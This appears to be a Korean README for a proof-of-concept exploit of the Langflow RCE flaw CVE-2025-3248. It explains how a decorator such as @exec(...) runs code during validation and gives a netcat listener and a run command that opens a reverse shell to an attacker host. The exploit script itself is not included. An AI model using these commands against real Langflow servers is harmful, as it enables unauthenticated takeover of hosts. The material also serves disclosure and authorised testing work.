
# CVE-2025-3248 개념 증명 익스플로잇 Langflow의 인증되지 않은 원격 코드 실행 취약점인 CVE-2025-3248에 대한 개념 증명 익스플로잇으로, `/api/v1/validate/code` 엔드포인트를 통한 코드 주입을 시연합니다.
CVE-2025-3248에 대한 개념 증명(PoC) 익스플로잇으로, AI/LLM 워크플로우 구축 플랫폼인 Langflow의 인증되지 않은 원격 코드 실행 취약점입니다.
Langflow는 UI(예: 사용자 정의 컴포넌트 코드)에서 제출된 Python 코드 스니펫을 "검증"하기 위한 엔드포인트 POST /api/v1/validate/code를 노출합니다. 내부적으로 ast.parse() / compile()을 사용하여 코드를 파싱하고 컴파일한 후 유효한지 여부를 보고합니다 — 인증이 필요 없습니다.
버그: Python은 데코레이터 함수가 호출되기 전에 파싱/컴파일 시점에 데코레이터 표현식을 평가합니다. 제출된 "검증할 코드"에 다음과 같은 데코레이터가 포함된 경우:
@exec("...악성 코드...")
def test():
pass
코드가 파싱되는 순간 exec(...) 호출이 실행됩니다 — 검증은 실제로 를 호출할 필요가 없습니다. 인증이 없고 샌드박싱도 없다는 점과 결합되어, 인증되지 않은 단일 HTTP 요청만으로 Langflow를 실행 중인 호스트에서 임의의 명령을 실행할 수 있습니다.
test()nc -lvnp 9001
python3 exploit.py --target http://TARGET_IP:7860 --lhost YOUR_IP --lport 9001
usage: exploit.py [-h] --target TARGET --lhost LHOST [--lport LPORT] [--timeout TIMEOUT]
pip install requests
이 코드는 교육 목적과 승인된 보안 테스트(랩, CTF, 명시적 서면 허가를 받은 작업) 전용으로 제공됩니다. 소유하지 않았거나 테스트에 대한 명시적 승인을 받지 않은 시스템에 대해 이 코드를 실행하지 마십시오. 작성자는 오용에 대해 책임을 지지 않습니다.